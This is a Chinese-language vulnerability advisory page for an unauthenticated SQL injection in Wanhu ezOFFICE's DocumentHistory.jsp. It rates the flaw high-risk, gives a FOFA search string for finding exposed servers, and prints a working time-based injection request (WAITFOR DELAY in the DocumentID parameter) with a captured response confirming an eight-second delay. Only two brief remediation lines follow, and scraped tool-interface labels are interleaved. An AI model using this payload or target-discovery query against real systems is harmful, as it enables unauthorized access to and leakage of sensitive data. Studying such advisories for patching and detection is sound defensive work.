

万户 ezOFFICE DocumentHistory SQL 注入漏洞

漏洞描述

万户 ezOFFICE DocumentHistory处存在 SQL 注入漏洞，未授权的攻击者可进行sql语句查询导致敏感信息泄露。

影响版本

万户 ezOFFICE

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="万户网络-ezOFFICE"

POC/EXP：

```
GET /defaultroot/public/isignatureHTML.jsp/DocumentHistory.jsp;.js?
DocumentID=1%27%20WAITFOR%20DELAY%20%270:0:8%27-- HTTP/1.1
Host: 127.0.0.1
```

发送请求

强制 HTTPS

历史

爆破示例

Request

数据包扫描

美化

热加载

构造请求

1

GET /defaultroot/public/iSignatureHTML.jsp/DocumentHistory.jsp;.js?DocumentID=1%27%20WAITFOR%20DELAY%20%270:0:8%27-- HTTP/1.1

2

Host: 127.0.0.1

Responses

1161bytes / 8046ms

美化

渲染

编码

详情

1

HTTP/1.1 200 OK

2

x-frame-options: SAMEORIGIN

3

Set-Cookie: OASessionID=DC716C7EAB8503E49773FFE0D339BDB1Path=/defaultroot

4

Content-Type: text/html; charset=utf-8

5

Date: Wed, 05 Jan 2022 10:08:42 GMT

6

Server:

7

Content-Length: 1289

8

<html>

9

<head>

10

<title>?????????iSignatureHTML V6</title>

11

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

12

<meta http-equiv="Pragma" content="no-cache" />

13

<link rel="stylesheet" href="Test.css" type="text/css" />

14

</head>

15

<body bgcolor="#ffffff">

16

<table

17

border="0"

18

cellspacing="0"

19

cellpadding="0"

20

width="100%"

21

align="center"

22

class="TBStyle"

23

>

24

<tr>

25

<td nowrap align="center" class="TDTitleStyle" height="25">?????</td>

26

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本